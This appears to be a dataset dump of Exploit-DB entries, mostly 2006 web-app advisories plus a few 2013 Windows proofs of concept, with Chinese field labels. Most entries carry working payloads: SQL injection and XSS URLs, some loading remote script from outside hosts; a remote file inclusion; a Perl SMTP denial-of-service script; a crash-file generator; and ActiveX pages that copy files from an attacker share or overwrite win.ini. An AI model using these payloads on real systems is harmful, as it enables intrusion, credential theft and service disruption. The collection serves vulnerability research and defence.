QLWD/code_shield huggingface dataset:
标题: OpenGuestbook 0.5 - 'view.php?offset' SQL Injection EDB-ID: 28112 CVE: 2006-3296 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/18666/info
 
OpenGuestbook is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/openguestbook/view.php?offset=[SQL] URL: https://www.exploit-db.com/exploits/28112
标题: cPanel 10 - Select.HTML Cross-Site Scripting EDB-ID: 28107 CVE: 2006-3337 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/18655/info

Cpanel is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 10; other versions may also be vulnerable.

[+] Exploit: http://[Target]:[Port]/[Dir]/x/files/select.html?dir=/&file= <h1><b>Your code here!!</b></h1> [+] Javascript: http://[Target]:2082/frontend/x/files/select.html?dir=/&file=<IMG src="javascript:alert('yeah');"> [+] Server Side Inclusion http://[Target]:2082/frontend/x/files/select.html?dir=/&file=<!--#echo var="HTTP_REFERER" --> [+] HTML http://[Target]:2082/frontend/x/files/select.html?dir=/&file=<IFRAME SRC="index.html"> URL: https://www.exploit-db.com/exploits/28107
标题: MailEnable 1.x - SMTP 'HELO' Remote Denial of Service EDB-ID: 28103 CVE: 2006-3277 类型: DOS 平台: WINDOWS 发布日期: 2006-06-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/18630/info

MailEnable is prone to a remote denial-of-service vulnerability.

This issue allows remote attackers to crash the application, denying further service to legitimate users.

#!/usr/bin/perl -w
#
# Mailenable SMTP DoS exploit
# 24/06/2006
#
# Filbert at divisionbyzero dot be
#

use Net::Telnet;

$string = “\0×99″;

for ($count = 1; $count < = 10; $count++)
{
$telnet = new Net::Telnet ( Timeout=>60, Errmode=>’return’,Port=>’25′);
$telnet->open($ARGV[0]);use Net::Telnet;
$telnet->print(”helo “, $string, “\n”);
} URL: https://www.exploit-db.com/exploits/28103
标题: PHP Blue Dragon CMS 2.9.1 - Multiple Remote File Inclusions EDB-ID: 28098 CVE: 2006-6958 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/18609/info

PHP Blue Dragon CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.

An attacker may leverage these issues to have an arbitrary remote file containing malicious script code execute in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.

http://www.example.com/root_includes/root_modules/forum_admin.php?action=forum_move&template_redirect=yes&vsDragonRootPath=http://192.168.0.xx:9999/ URL: https://www.exploit-db.com/exploits/28098
标题: SoftBizScripts Dating Script 1.0 - 'featured_photos.php' SQL Injection EDB-ID: 28093 CVE: 2006-3271 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/18605/info

Softbiz Dating Script is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/featured_photos.php?browse=1[SQL] URL: https://www.exploit-db.com/exploits/28093
标题: SoftBizScripts Dating Script 1.0 - 'index.php' SQL Injection EDB-ID: 28095 CVE: 2006-3271 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/18605/info
  
Softbiz Dating Script is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. 
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
http://www.example.com/index.php?cid=1&#039;[SQL] URL: https://www.exploit-db.com/exploits/28095
标题: Winged Gallery 1.0 - 'Thumb.php' Cross-Site Scripting EDB-ID: 28102 CVE: 2006-3563 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/18629/info

Winged Gallery is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/gallery/thumb.php?image=data/path.jpg">''>">">"><SCRIPT%20SRC=http://example.com/xss.js></SCRIPT><"<'<'<'<'&size=75&type=2&w=127">''>">">"> URL: https://www.exploit-db.com/exploits/28102
标题: BlueDragon Server 6.2.1 - '.cfm' Denial of Service EDB-ID: 28100 CVE: 2006-2310 类型: DOS 平台: CFM 发布日期: 2006-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/18624/info

BlueDragon is prone to a remote denial-of-service vulnerability. This issue is due to the application's failure to efficiently handle malformed GET requests.

An attacker can exploit this issue to cause the service to stop responding, effectively denying service to legitimate users.

This issue affects version 6.2.1.286; other versions may also be vulnerable.

http://www.example.com/con.cfm 
http://www.example.com/aux.cfm 
http://www.example.com/com1.cfm 
http://www.example.com/com2.cfm URL: https://www.exploit-db.com/exploits/28100
标题: SoftBizScripts Dating Script 1.0 - 'products.php' SQL Injection EDB-ID: 28094 CVE: 2006-3271 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/18605/info
 
Softbiz Dating Script is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
http://www.example.com/products.php?cid=1[SQL] URL: https://www.exploit-db.com/exploits/28094
标题: SoftBizScripts Dating Script 1.0 - 'news_desc.php' SQL Injection EDB-ID: 28096 CVE: 2006-3271 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/18605/info
   
Softbiz Dating Script is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. 
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
   
http://www.example.com/news_desc.php?id=1[SQL] URL: https://www.exploit-db.com/exploits/28096
标题: Yahoo! Messenger 7.0/7.5 - 'jscript.dll' Non-ASCII Character Denial of Service EDB-ID: 28099 CVE: 2006-3298 类型: DOS 平台: WINDOWS 发布日期: 2006-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/18622/info

Yahoo! Messenger is prone to a denial-of-service vulnerability. Successful exploitation will cause the application to crash, effectively denying service.

This issue affects version 7.5.0.814; other versions may also be vulnerable.

The following examples are sufficient to trigger this issue:

s:[space]msg[alt+0160]:---------------------------------------------iframe onload=$InlineAction()>:)

msg:---------------------------------------------iframe onload=$InlineAction()>:) URL: https://www.exploit-db.com/exploits/28099
标题: Microsoft Office 2003 - Embedded Shockwave Flash Object Security Bypass EDB-ID: 28087 CVE: 2006-3014 类型: DOS 平台: WINDOWS 发布日期: 2006-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/18583/info

Microsoft Office is prone to a weakness that may allow remote attackers to execute arbitrary script code contained in Shockwave Flash Objects without first requiring confirmation from users.

A successful attack may allow attackers to access sensitive information and potentially execute malicious commands on a vulnerable computer.

The researcher responsible for discovering this issue has indicated that it presents itself on Windows 2003 SP1, Windows XP Professional Edition SP1 and SP2 running Microsoft Office 2003, and Windows 2000 Professional running Microsoft Office 2003. Other versions may be vulnerable as well.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28087.zip URL: https://www.exploit-db.com/exploits/28087
标题: Woltlab Burning Board 1.2/2.0/2.3 - 'report.php?postid' SQL Injection EDB-ID: 28090 CVE: 2006-3256 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/18597/info
 
WoltLab Burning Board is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied data before using it in an SQL query. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
http://www.example.com/report.php?postid=[SQL] URL: https://www.exploit-db.com/exploits/28090
标题: PHP Event Calendar 4.2 - SQL Injection EDB-ID: 28088 CVE: 2005-4011 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/18593/info

PHP Event Calendar is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/calendar.php?display=event&id=[SQL] URL: https://www.exploit-db.com/exploits/28088
标题: Woltlab Burning Board 1.2/2.0/2.3 - 'showmods.php?boardid' SQL Injection EDB-ID: 28091 CVE: 2006-3255 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/18597/info
  
WoltLab Burning Board is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied data before using it in an SQL query. 
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
http://www.example.com/showmods.php?boardid=[SQL] URL: https://www.exploit-db.com/exploits/28091
标题: Woltlab Burning Board 1.2/2.0/2.3 - 'newthread.php?boardid' SQL Injection EDB-ID: 28089 CVE: 2006-3254 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/18597/info

WoltLab Burning Board is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied data before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.exampls/newthread.php?boardid=[SQL] URL: https://www.exploit-db.com/exploits/28089
标题: KingView 6.53 - 'SuperGrid' Insecure ActiveX Control EDB-ID: 28084 CVE: 2013-6127 类型: LOCAL 平台: WINDOWS 发布日期: 2013-09-04 漏洞利用脚本: <html>
<object classid='clsid:F494550F-A028-4817-A7B5-E5F2DCB4A47E' id='target'></object>
<!--
KingView Insecure ActiveX Control - SuperGrid 
Vendor: http://www.wellintech.com
Version: KingView 6.53 
Tested on: Windows XP SP3 / IE
Download: http://www.wellintech.com/documents/KingView6.53_EN.zip
Author: Blake

CLSID: F494550F-A028-4817-A7B5-E5F2DCB4A47E
ProgId: SUPERGRIDLib.SuperGrid
Path: C:\Program Files\KingView\SuperGrid.ocx
MemberName: ReplaceDBFile
Safe for scripting: False
Safe for init: False
Kill Bit: False
IObject safety not implemented
-->
<title>KingView Insecure ActiveX Control Proof of Concept - SuperGrid.ocx</title>
<p>This proof of concept will copy any arbritrary file from one location to a second location. A malicious user may be able to use this to copy a file from an attacker controlled share to the target or from the target to an attacker controlled system (ie from an attacker share to the startup folder). It can also be used to overwrite existing files.</p>

<input type=button onclick="copyfile()" value="Do It!">
<script>
function copyfile()
{
 var file1 = "\\\\192.168.1.165\\share\\poc.txt";    //source
 var file2 = "c:\\WINDOWS\\poc.txt";      //destination
 result = target.ReplaceDBFile(file1,file2);
}

</script> URL: https://www.exploit-db.com/exploits/28084
标题: GOMPlayer 2.2.53.5169 - '.wav' Crash (PoC) EDB-ID: 28080 CVE: 2013-5716 类型: DOS 平台: WINDOWS 发布日期: 2013-09-04 漏洞利用脚本: # Exploit Title: GOMPlayer Version 2.2.53.5169 (.wav) - Crash POC
# Date: 03-09-2013
# Exploit Author: ariarat
# Software Link: http://download.cnet.com/GOM-Media-Player/3000-13632_4-10551786.html?part=dl-GOMMediaP&subj=dl&tag=button
# Version: 2.2.53.5169 (Probably old version of software too)
# Vendor Homepage: www.gomlab.com
# Tested on: [ Windows XP sp3]
#============================================================================================
# After creating POC file (.wav),drag it to Player!
#============================================================================================
# Contact :
#------------------
# Web Page : http://ariarat.blogspot.com
# Email    : mehdi.esmaeelpour@gmail.com
#============================================================================================

#!/usr/bin/python

string=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")

filename = "gomPlayer.wav"
file = open(filename , "w")
file.write(string)
file.close() URL: https://www.exploit-db.com/exploits/28080
标题: Maximus SchoolMAX 4.0.1 - 'Error_msg' Cross-Site Scripting EDB-ID: 28086 CVE: 2006-3143 类型: WEBAPPS 平台: ASP 发布日期: 2006-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/18563/info

Maximus SchoolMAX is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input before displaying it to users of the application.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/toas/icue_login.asp?error_msg=These%20aren't%20the%20droids%20you're%20looking%20 URL: https://www.exploit-db.com/exploits/28086
标题: e107 0.7.5 - 'Subject' HTML Injection EDB-ID: 28078 CVE: 2006-3259 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/18560/info

The e107 CMS is prone to an HTML-injection vulnerability.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site when the inserted data is viewed.

In Submit comment:
Subject: '><script>alert(/XSS/)</script> URL: https://www.exploit-db.com/exploits/28078
标题: KingView 6.53 - 'KChartXY' ActiveX File Creation / Overwrite EDB-ID: 28085 CVE: 2013-6128 类型: LOCAL 平台: WINDOWS 发布日期: 2013-09-04 漏洞利用脚本: <!--
KingView ActiveX Control (KChartXY) Remote File Creation / Overwrite
Vendor: http://www.wellintech.com
Version: KingView 6.53 
Tested on: Windows XP SP3 / IE
Download: http://www.wellintech.com/documents/KingView6.53_EN.zip
Author: Blake

CLSID: A9A2011A-1E02-4242-AAE0-B239A6F88BAC
ProgId: KCHARTXYLib.KChartXY
Path: C:\Program Files\KingView\KChartXY.ocx
MemberName: SaveToFile
Safe for scripting: False
Safe for init: False
Kill Bit: False
IObject safety not implemented

Description: Proof of concept overwrites the win.ini file
-->
<html>
<object classid='clsid:A9A2011A-1E02-4242-AAE0-B239A6F88BAC' id='target' ></object>
<script language='vbscript'>

arg1="..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\WINDOWS\win.ini"

target.SaveToFile arg1 

</script> URL: https://www.exploit-db.com/exploits/28085
标题: V3 Chat Instant Messenger - 'expire.php?cust_name' Cross-Site Scripting EDB-ID: 28074 CVE: 2006-3366 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/18543/info
      
V3 Chat Instant Messenger is prone to multiple cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
      
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 
      
A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://example.com/messenger/expire.php?cust_name=<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>"> URL: https://www.exploit-db.com/exploits/28074
标题: V3 Chat Instant Messenger - 'mycontacts.php' membername Arbitrary User Buddy List Manipulation EDB-ID: 28075 CVE: 2006-6995 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/18543/info
       
V3 Chat Instant Messenger is prone to multiple cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
       
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 
       
A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://example.com/messenger/mycontacts.php?membername=putausername URL: https://www.exploit-db.com/exploits/28075
标题: V3 Chat Instant Messenger - 'online.php?site_id' Cross-Site Scripting EDB-ID: 28070 CVE: 2006-3366 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/18543/info
  
V3 Chat Instant Messenger is prone to multiple cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 
  
A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
http://www.example.com/messenger/online.php?action=update&membername=luny666&site_id=<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></ SCRIPT>"> URL: https://www.exploit-db.com/exploits/28070
标题: V3 Chat Instant Messenger - 'profile.php?site_id' Cross-Site Scripting EDB-ID: 28072 CVE: 2006-3366 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/18543/info
    
V3 Chat Instant Messenger is prone to multiple cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 
    
A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/messenger/profile.php?new_reg=1&site_id=<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>"> URL: https://www.exploit-db.com/exploits/28072
标题: V3 Chat Instant Messenger - '/mail/index.php?id' Cross-Site Scripting EDB-ID: 28068 CVE: 2006-3366 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/18543/info

V3 Chat Instant Messenger is prone to multiple cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/v3chat/mail/index.php?action=read&mid=62&id=1<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>"> URL: https://www.exploit-db.com/exploits/28068
标题: Singapore 0.9.x/0.10 - 'index.php?template' Cross-Site Scripting EDB-ID: 28067 CVE: 2006-3195 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/18518/info
 
singapore gallery is prone to directory-traversal and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker can exploit the directory-traversal vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the webserver process.
 
The cross-site scripting vulnerability allows an attacker to leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/singapore/index.php?template=<script>alert('Moroccan Security Team');</script> URL: https://www.exploit-db.com/exploits/28067